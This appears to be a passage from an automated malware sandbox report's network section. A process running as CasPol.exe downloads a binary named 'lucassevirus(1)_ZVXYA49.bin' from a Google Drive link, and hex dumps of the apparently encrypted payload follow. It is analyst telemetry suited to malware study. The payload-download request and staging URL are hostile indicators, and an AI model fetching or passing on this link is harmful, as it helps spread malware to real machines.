2022-04-20 13:31:39 UTC	27	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:39 UTC	28	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49784	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:39 UTC	28	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:40 UTC	28	IN	HTTP/1.1 303 See Other Content-Type: application/binary Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 20 Apr 2022 13:31:40 GMT Location: https://doc-0c-74-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605//1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-xYU5LrlI8Yscme3mnYZlPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-platform=, ch-ua-platform-version= Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49785	142.250.186.97	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:40 UTC	30	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605/*/1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-0c-74-docs.googleusercontent.com Connection: Keep-Alive
2022-04-20 13:31:40 UTC	30	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycduIjyuaT_cCvYhZUicMUWU8EpPSFrTWIXHq0T7jLACfKg9usji9fl_bBaDD9223DwByFtyb6L7U_oLWzZOctnlJPQ Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="lucassevirus(1)_ZVXYA49.bin";filename*=UTF-8''lucassevirus%281%29_ZVXYA49.bin Content-Length: 214592 Date: Wed, 20 Apr 2022 13:31:40 GMT Expires: Wed, 20 Apr 2022 13:31:40 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=ZOdGUw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:40 UTC	34	IN	Data Raw: 8e 91 4f 31 1a 7d b4 ad 16 d9 82 2a 8f 2e 65 72 29 9b 48 8b 09 eb ae cc 59 54 9b 58 28 75 e8 a1 fb 7e 8f ba 50 8e 05 aa a0 f0 8f 9c 13 32 08 57 a5 31 d8 11 d8 83 90 e7 bb 39 f2 6c 88 6e ef f5 e8 55 dd 05 b7 43 8b 11 24 3a c6 b2 fe 8c 86 77 6a 07 3b eb 4a e0 c6 ba 7a 5e 5f 19 15 de 93 18 d0 14 c0 62 a3 df aa 67 f6 49 de 42 1b 68 7d c4 27 28 46 0a a8 0d da 6f 7e 0f 3e 9e d8 76 3d c2 82 79 1a 4b 26 06 40 d2 6e 30 d6 03 3e da f3 42 15 46 90 12 53 20 9f 6e 63 73 0b 27 5a bb b5 2f 17 a2 c8 68 12 35 41 0a 65 e0 ef b9 a1 ba b8 87 2b 43 10 fe a7 8b 9b 7f 25 c6 a2 3f 5f b7 dd 12 79 d2 3e e0 4c 29 09 52 12 7f ab 12 33 2b ba 33 01 51 3d 6c a1 a7 22 d2 d5 99 33 26 27 e4 9a f7 94 54 45 5f 2c 4d 2a 3c a6 7a 62 1c 5f de 1f 22 2d 5f 02 04 62 62 88 3d 07 8b 54 fa 75 83 22 Data Ascii: O1}.er)HYTX(u~P2W19lnUC$:wj;Jz^_bgIBh}'(Fo~>v=yK&@n0>BFS ncs'Z/h5Ae+C%?_y>L)R3+3Q=l"3&'TE_,M<zb_"-_bb=Tu"
2022-04-20 13:31:40 UTC	38	IN	Data Raw: 9f aa d2 f5 a5 ec 0a 3b a7 c4 6f 34 8e 8e d3 22 ce 3f 90 20 70 19 4a 4e 97 c1 56 84 a5 f1 06 78 42 08 fa 01 5e 33 84 c4 1b e0 a5 76 db f1 4a f6 dc e1 ef d5 68 eb 85 0d 6f a1 76 ac 14 23 9a 48 28 dd bb da bf 8c 29 e1 01 9f ea 4c c1 c5 41 a0 cc e8 55 cc b8 00 d7 ac b9 b1 3d ea 08 df 72 16 86 54 c3 11 e8 e1 21 ef 9e b0 ea 37 de 59 ae 8e 88 ba 2c a6 b6 7b 9d 2f f6 91 52 4f 4a 85 1b 76 0c 41 7f 42 53 95 82 78 47 09 6d 49 b3 09 86 2f 1d d4 57 4d f1 68 2a b2 3b 64 c6 3e 84 eb ce d3 5c cc 49 d0 fb f4 d9 3e 86 cc 5b 62 68 14 95 b5 63 87 bd 10 45 ec c7 c9 ce fc b7 72 9f 15 d7 5a c5 22 f8 96 58 4e da a0 03 52 55 2c c0 31 0b 7a d2 c7 d1 e1 e4 b9 f9 f5 93 03 38 34 8e f1 a4 f7 a1 a5 0f 4d 05 b4 53 8b 11 20 55 c4 b2 01 0c 84 77 d2 67 3b eb 4a fd c6 ba 3b 4d 6f 1a 15 17 Data Ascii: ;o4"? pJNVxB^3vJhov#H()LAU=rT!7Y,{/ROJvABSxGmI/WMh*;d>\I>[bhcErZ"XNRU,1z84MS Uwg;J;Mo
2022-04-20 13:31:40 UTC	41	IN	Data Raw: 2c 88 e6 5b 30 34 00 66 b1 71 c1 74 06 98 84 50 13 6f 61 90 9b 1f 36 23 3b da 7a 0b 0f db 25 b2 63 07 2d d3 c1 18 7d 83 00 9b bd 09 2f 65 46 f5 c2 91 57 50 c9 e5 a6 ee 0f 19 6d 49 e0 48 d6 14 77 c3 29 43 82 ac 33 f1 fc 62 15 29 e6 1f de 9a a4 56 58 5f 61 8f 2c 13 58 49 99 e1 76 14 59 ba cc f7 a1 0c 3c 9d 86 a7 78 33 21 c1 61 61 cb 93 ba 32 cd 95 67 5e 12 3b 5c 7e 1c 0a 26 9d 98 7f 9f 71 13 63 70 8a 1f 68 4b 06 6f 0d 04 37 d4 25 f3 bd ae 65 65 94 c6 3c 57 b0 c6 08 af f9 5a 2e d9 95 bb d2 b2 84 ee 0a 37 9c e4 7e 32 99 ad b1 31 c5 b7 0f 67 04 19 4c 42 ae 94 39 2e af d9 5d 55 ec dc c4 3a 4a 46 bb c6 33 c2 89 7a c0 8a 6d cf dc eb 90 a6 35 eb 81 2f ec b2 70 ad 2a 6d 16 ff 41 c6 f1 da b5 ae a5 c1 03 99 ff 61 9b c0 44 a9 c9 fe 7c 4f d2 02 dd a7 b9 ac 3d ea 08 fe Data Ascii: ,[04fqtPoa6#;z%c-}/eFWPmIHw)C3b)VX_a,XIvY<x3!aa2g^;\~&qcphKo7%ee<WZ.7~21gLB9.]U:JF3zm5/p*mAaD\|O=
2022-04-20 13:31:40 UTC	45	IN	Data Raw: d4 c6 2f b9 14 cb 98 fa 37 10 2c 53 28 7b e9 32 5b 09 ea 16 75 c0 5d 89 9f ea c3 2f 0f d1 55 d5 86 c6 74 96 7c 7b 2a cf ef a1 91 0e 63 58 30 67 77 bc 49 c6 8e b4 3e 7c b0 6a 8b f8 12 77 27 3b e0 db ec 58 f0 1c 99 19 90 d2 83 09 0d 6e 62 79 28 21 d1 9d f2 3e f0 a3 3c e8 d8 fa a1 68 37 04 82 1a 85 ba b2 5d 7c 3e 05 f1 9f 50 5a 6e 90 54 fc ab f7 a2 be 25 a2 e8 94 9f f6 46 24 33 8e 28 93 93 c7 1e 05 da 63 a7 c8 6f 88 1a b3 a7 33 0c b8 4a 24 3f 1d 94 24 5c e1 7c 48 ff 40 12 5e 31 f4 78 8e ce fb 90 25 02 5a 83 67 d6 56 f4 ca 84 5a 1e 70 4b 74 fe 1f 30 3f c2 e1 7a 0b 0f dc 39 b7 7c 07 13 d1 c1 14 5d 80 79 9c a9 2b 8d 16 46 f3 de 0d 58 78 43 e6 b2 fc 74 41 f5 49 ea 53 ca 2b d6 aa 29 45 9e 30 3c d9 95 63 01 37 9d 5d 46 9a ae 4d 78 21 12 8f 26 15 43 5b 99 8d 76 14 Data Ascii: /7,S({2[u]/Ut\|{*cX0gwI>\|jw';Xnby(!><h7]\|>PZnT%F$3(co3J$?$\\|H@^1x%ZgVZpKt0?z9\|]y+FXxCtAIS+)E0<c7]FMx!&C[v
2022-04-20 13:31:40 UTC	46	IN	Data Raw: 3c 82 b4 c2 f4 d9 25 3b 9d 8c c9 ce 22 30 da 64 5d 3e d8 ab 20 00 22 76 4a 0c 07 d3 e6 1c 00 3f 85 a1 a6 9a 67 12 fa 4a e2 6b 68 4a 1f 75 0d 1a 2f f9 ea fd d2 00 c7 74 8c fa 81 43 98 54 1b a5 db 23 3f d9 9f a0 cb d1 c0 fd 01 2c 83 fb 47 e8 8a a6 a1 38 43 3e b8 08 71 0a 5e 59 ad 96 7e 5a ad d9 51 da 53 10 c5 03 a4 32 82 c0 91 d2 b7 62 c5 8a 30 6e dc eb 9b e1 cf eb 81 2f 22 a8 5e 45 3c 6a 92 64 33 a3 fa cb bb b7 16 d2 08 8c e8 75 86 ed 1e a8 c7 fc 7c 4a d2 02 dd 82 36 fd 3d e0 11 f2 13 04 e9 f8 eb 5f e2 db c1 39 12 4d 34 27 e7 62 db b7 8e 92 59 88 ba 6c a5 72 cf 91 54 90 45 f0 36 76 06 97 0a bb de 8d 88 6b 4b 2d 9f 5e cd 12 8b 3e 14 7e 4e 5f f1 3e 28 b2 37 a9 26 26 ac aa c3 0d 5a d6 56 fd 82 ff d4 51 df e4 17 68 b4 0f 30 ab 09 48 cb 12 4f f9 6d d0 d2 8b c5 Data Ascii: <%;"0d]> "vJ?gJkhJu/tCT#?,G8C>q^Y~ZQS2b0n/"^E<jd3u\|J6=_9M4'bYlrTE6vkK-^>~N_>(7&&ZVQh0HOm
2022-04-20 13:31:40 UTC	47	IN	Data Raw: 08 fc 22 ef f6 86 e1 4c f8 a9 5d 16 d1 24 fe c1 a7 42 7f 48 34 4e a9 2d 85 e3 8c e0 e8 0b 96 2d e8 f4 39 ae 36 7c 98 fa 3d 56 24 7b ed 7b e9 34 4d 3d ed 16 75 c8 4b 9d 8b 00 59 2f 0f ca 41 fd 4f c4 74 90 6b e5 1d cc ef e0 82 0a 72 54 26 71 ea f8 42 ed 94 16 28 6f 5a 7f b1 ed 22 e1 27 3c fc 22 f9 5c 37 09 92 1f 81 47 7a 08 21 6d 5d 6f 17 ea 4a 8b f1 ba 53 a3 0c ea d8 f6 9e ac 32 04 84 65 a4 be a3 53 05 63 89 a3 95 3f 88 cc 81 5a c2 c9 92 fc 96 b8 a4 c0 de 98 e2 68 f5 b1 be 2e 85 1a d4 9e 34 db 77 b7 c8 c7 22 1a b3 a9 0d 24 73 5b 14 3b 0a 3e 23 5c e1 56 5b fb 40 00 43 0d 63 2a 89 d9 04 33 18 04 56 9c 71 c6 68 97 cb a8 52 0e 6f 63 bf e4 e1 37 05 4d cd 78 20 ed b6 01 a3 6b 2b a5 d1 d2 2e 79 ab a8 9b bd 03 6c 14 46 e4 de 8b 67 06 43 e7 a6 e8 67 7e 93 48 c6 5b Data Ascii: "L]$BH4N--96\|=V${{4M=uKY/AOtkrT&qB(oZ"'<"\7Gz!m]oJS2eSc?Zh.4w"$s[;>#\V[@Cc*3VqhRoc7Mx k+.ylFgCg~H[
2022-04-20 13:31:40 UTC	49	IN	Data Raw: 2d ab bd b0 ce 56 c7 5f 73 9a e0 d5 3e 8a fb 18 9c 69 32 20 c3 73 af cb 16 3b d8 65 c1 d0 aa 89 72 9f 1b f5 5b de 20 5e 81 54 3c c7 a8 15 a8 f6 08 ea 6b 07 7a d0 f0 93 1f e5 9f d3 f0 96 3b 4b 14 71 24 cf eb b2 95 0c 4d 7f b4 43 8b 20 20 3a d7 a4 0c 4b e1 77 d2 07 3b e2 50 1e c7 96 20 20 72 19 15 da fc 1d d1 14 ca 1c 84 df aa 63 f1 d3 b1 83 1b 68 77 e8 6d 33 4b 0a a1 14 24 6e 52 0b 15 dd 42 7b 3d cb 97 98 a1 69 22 a5 63 03 42 88 de 57 0d fa 8b 24 6a 4b 97 62 21 4b 76 ab 15 c4 27 4f 22 d8 db 49 74 7c ab 21 30 5f 39 64 4c 9f 7f 98 c9 f7 fc aa 46 25 68 65 88 aa 94 5e 03 ed 35 38 48 61 d6 15 21 a6 a8 f6 2a 28 0a 41 b2 7c e5 d6 33 2b ba 01 01 51 2c 7a 52 a3 18 5c de 98 38 26 36 dc 8e 09 95 70 46 47 3f 49 2a 2d 1c 3d 9f 1d 73 fb 08 08 30 4c 06 04 73 66 d3 c3 06 Data Ascii: -V_s>i2 s;er[ ^T<kz;Kq$MC :Kw;P rchwm3K$nRB{=i"cBW$jKb!Kv'O"It\|!0_9dLF%he^58Ha!(A\|3+Q,zR\8&6pFG?I-=s0Lsf
2022-04-20 13:31:40 UTC	50	IN	Data Raw: 2d a3 6f 51 86 d1 c1 1a 05 b6 23 9b b9 2b 63 14 46 ff 48 89 5f 78 47 3a 7d eb 60 69 6f 56 9a 6a c7 7d 11 a8 29 47 a0 ab 39 d9 93 4a 36 23 89 7f 5e 93 ae 47 54 ed af 8c 2c 19 49 50 c0 71 6d 6a 56 b6 c2 f6 e6 bf 3e 9d 8a e0 fe 33 21 c1 f2 7c e0 da af fb 3d 30 67 5e 1a 0c 89 4d 05 7e 3c 91 89 7d b0 7f 16 ed c1 cd 48 68 4b 06 e7 15 08 39 d5 e9 7e d1 06 65 67 81 9d a6 4e ce c5 1b a5 d5 23 37 db 9f ac f0 fe d6 ee 00 bd 86 ef 6f 30 55 c5 a4 20 ce 3b a7 7c 43 00 32 41 bf 80 52 ac b5 db 57 7e 6a 21 d2 2b 54 b3 8b c6 33 c7 78 33 d2 9e 18 f4 c3 9e a2 d0 16 e2 81 25 34 8b 6d a8 3c 6c b0 6b 2e b2 fb 5a b6 86 01 c7 de b8 ef 64 8a c7 5e dc f4 e3 2a ed d2 02 d3 82 8d ff 3d ec 2a d4 02 14 8c d2 e2 5f e8 e5 f6 ce ee b2 ea 33 e9 05 9d 97 f0 9b 58 a4 b2 55 a8 05 f6 97 7c b2 Data Ascii: -oQ#+cFH_xG:}`ioVj})G9J6#^GT,IPqmjV>3!\|=0g^M~<}HhK9~egN#7o0U ;\|C2ARW~j!+T3x3%4m<lk.Zd^=_3XU\|
2022-04-20 13:31:40 UTC	51	IN	Data Raw: 98 38 22 0d 82 e7 c3 94 5c 41 5d 04 5e 2b 3c 12 55 75 1c 5f fc 9f 16 2d 5f 06 2e 62 62 db 0d 03 ab e3 fb 75 81 17 45 4b ac a9 09 63 53 e8 58 31 ea a2 8f 2a b6 95 7c d9 4d f1 f0 38 09 ea 58 08 d4 38 32 f4 9d ce 37 c4 a9 57 3d 8e 33 f7 db cf 7f 6e 4f 2c a3 ac 29 57 e8 89 e1 75 12 87 29 c2 bd 2c af 3c 5c b0 ec 3c 17 32 5e c0 7c cf 25 49 af e7 6f 64 c1 49 9f fa d3 5b 2f 0d c8 44 ef 4a bf 49 90 6b f2 a9 a0 b7 a0 82 0c 6d 55 35 76 fb ff 4e d9 83 e8 2e 54 af 00 a9 ef 3a ee 34 3d f5 d1 eb 77 35 0f 9e 07 78 5e a8 03 0e 79 36 76 3d 09 49 84 e1 33 e4 9a f1 f0 26 fd 9a f0 38 24 82 1a 96 be 8b 49 6b 29 83 8b 8b 51 5b c6 ac 5b f3 ac e6 b5 87 bf be 16 9f b4 eb 10 d2 31 8e 2a 88 03 d3 19 05 ca 70 ae 22 46 3c 13 ba 94 fb 24 73 48 3a 2a 0d 19 32 5b fe 74 a5 fa 7d 1f 70 ed Data Ascii: 8"\A]^+<Uu_-_.bbuEKcSX1\|M8X827W=3nO,)Wu),<\<2^\|%IodI[/DJIkmU5vN.T:4=w5x^y6v=I3&8$Ik)Q[[1p"F<$sH:*2[t}p
2022-04-20 13:31:40 UTC	52	IN	Data Raw: 79 bf 02 14 82 51 c3 4d e9 e1 21 b3 f5 b2 ea 33 8b 3a ae 8e 8a b8 3a a6 b4 06 fd 07 f6 95 57 b9 39 ac 36 7c 78 53 79 5f dc f0 ca 78 46 01 4f 15 cf 3c 99 2e 19 7c 5d 29 f9 1c 28 b8 52 e7 cf 26 a6 8a 84 d1 54 a8 79 d0 85 e4 f1 5b 82 e4 11 1f 21 1e 37 b9 50 e1 c9 7d 67 eb 65 cb d6 f9 e3 72 9f 15 5d 34 de 20 5c b8 6e 23 f7 a4 03 1e f6 24 e8 46 0b 7a c9 f9 8e d9 df b2 d1 db 93 0b 2b 14 8f f7 e1 c0 9a bf 03 4d 0d a8 bd 8a 3d 29 3d c4 dd 73 73 86 71 cf 0b 3b e3 55 e9 38 bb 16 47 5c 31 36 df 93 12 d2 6f 89 62 a3 db 82 73 f7 49 d4 7b d5 68 7d c4 38 22 4a 0a a0 12 d7 91 7f 23 34 9c 5b 5e 19 c3 8c 6c bf 4b 2a b2 41 04 b1 89 fb 4a f4 d7 b5 36 70 35 b8 75 df 4e d4 1e 1a 12 2b 4c 26 2b da 6c 43 80 d1 44 32 47 30 67 6d ac 80 99 ef f6 c3 84 47 2c 7e 98 a1 a0 97 75 0b ee Data Ascii: yQM!3::W96\|xSy_xFO<.\|])(R&Ty[!7P}ger]4 \n#$Fz+M=)=ssq;U8G\16obsI{h}8"J#4[^lK*AJ6p5uN+L&+lCD2G0gmG,~u
2022-04-20 13:31:40 UTC	54	IN	Data Raw: 85 1e c0 1e 05 db bc 4c 23 b8 ce 38 c6 b0 27 24 72 5c da 3a 1b 1c 35 a2 e2 22 4a fd 47 e8 49 79 86 3b fa d3 fa 32 35 2e 63 97 71 cb a0 a0 ea b7 50 13 e4 4b 8a fd 1f 3c 53 49 f7 7c 27 0b e0 03 a3 6b 25 a5 d1 c0 0e 7b ab 22 9b bd 03 f3 dd 46 f9 7b 80 5f 78 58 d7 a2 e8 02 69 6d 49 ab 59 de 12 30 ac 29 43 8e d2 0e d8 95 68 17 0b bf 74 de 90 c1 70 51 30 18 98 a1 43 4b 4f b0 4f 7d 02 40 bb 5f fb a1 90 3d 9d 86 c3 de 25 10 c3 75 76 f7 00 31 2c 7c 1f 64 48 37 1f fc 79 92 b7 36 47 9e a3 02 6d ca f1 ef 1f 6a 68 4d 06 b9 08 2d 11 fc 34 ff d8 0a 4d 9f 9f ee 93 5d 98 e2 1b a5 db d5 2e df b5 aa d8 dc c6 ee 0a 3d 8f ef 6f 78 c4 a6 b3 3d ce 39 b9 13 40 1a 4c 64 bf 80 56 9b af d9 46 7a 41 2a eb 2a 5e 39 87 d1 e5 59 ae 71 d5 b6 21 f7 dc e1 87 53 62 35 93 0d 1d a3 76 a0 14 Data Ascii: L#8'$r\:5"JGIy;25.cqPK<SI\|'k%{"F{_xXimIY0)ChtpQ0CKOO}@_=%uv1,\|dH7y6GmjhM-4M].=ox=9@LdVFzA**^9Yq!Sb5v
2022-04-20 13:31:40 UTC	55	IN	Data Raw: 2a 52 13 22 db 40 69 af 60 12 22 54 3f 64 54 82 9e 92 1b f4 c7 b6 40 3b f8 ca 89 86 97 5d f9 c6 a2 35 55 a8 d1 01 22 97 2f eb 1c d6 0b 7e b8 78 f1 58 d2 29 ba 35 16 dc 3a 6c 41 a6 33 d4 cf 9f 2e 2f 0f c9 99 f7 9e fe 54 58 3f 45 3b 34 0c 35 76 91 0d fe 1f 23 3e 56 13 0d 74 75 54 2c 0e bc 7c 66 75 81 28 63 56 ae b4 1a 75 60 61 a7 30 c6 ac 8f 25 bf 05 aa c9 61 e7 f2 15 17 e2 4b 03 fc 39 38 e2 69 e7 0f c6 be 4e 1b c2 3d f7 d7 d8 81 7e 64 30 76 a8 3d 9f 1c 73 19 fb 29 87 3a f0 d0 39 2e 3c 56 98 bf 3d 17 29 6d e0 41 82 34 4d 84 ed 1f 6d 3f 48 b1 83 ea 13 2e 0f d1 4b e4 42 c4 7d 8a 95 f7 01 cb c4 f9 99 07 72 55 3f 8f fa c2 4d d0 83 0c 22 78 ad 65 63 ee 16 fd 21 33 70 b3 b1 71 35 14 9b 70 cc 5e 84 03 25 24 77 6d 36 25 65 81 ff 34 ed 9c 08 eb f4 fe ae e8 30 0d 9e Data Ascii: *R"@i`"T?dT@;]5U"/~xX)5:lA3./TX?E;45v#>VtuT,\|fu(cVu`a0%aK98iN=~d0v=s):9.<V=)mA4Mm?H.KB}rU?M"xec!3pq5p^%$wm6%e40
2022-04-20 13:31:40 UTC	56	IN	Data Raw: d9 5e 66 bc 03 fe 21 56 31 ff 8b 33 c3 a1 69 d8 93 18 ff c7 15 90 e5 65 e3 ff 17 30 a3 7c d7 73 6a 98 4c 32 bf f1 d3 a5 78 00 ef 09 9c c4 85 8a c5 4b 86 04 e1 59 e4 db 1b 29 ab bd f6 3a e9 14 df 89 14 86 54 e7 45 e5 e1 22 db 13 b3 c6 35 dd c4 b3 83 8e 9b 4f 5a b7 51 b7 1f fb 91 5d 89 d4 ac 1a 7d 0e 53 60 2c e2 8c 82 72 4d 1c 68 5f c4 02 78 2e 35 74 48 57 d9 14 37 bb c3 c7 e2 24 87 a5 f6 b9 a9 38 a4 d9 af ee ca 0e 80 e4 bb 62 68 1e 7c bd 7a be dd 1e 7d 74 65 c1 d4 82 a2 6f 61 10 59 5b d9 22 27 d0 44 30 c3 be 0f 56 ff 3b e1 82 0a 56 d2 e8 86 9c b7 b3 d1 df 8c 09 3e ea 86 c2 1b ea 8d af 0c 65 e4 b4 43 81 3d 60 20 ca b2 09 64 78 76 fe 05 23 e7 4a e8 de 44 3b 72 57 6a 90 de 93 1e db 0d cc 62 ab c5 54 66 da 44 d9 3c 29 68 7d ce 5a 67 46 0a ac 16 d6 6f 76 14 c0 Data Ascii: ^f!V13ie0\|sjL2xKY):TE"5OZQ]}S`,rMh_x.5tHW7$8bh\|z}teoaY["'D0V;V>eC=` dxv#JD;rWjbTfD<)h}ZgFov
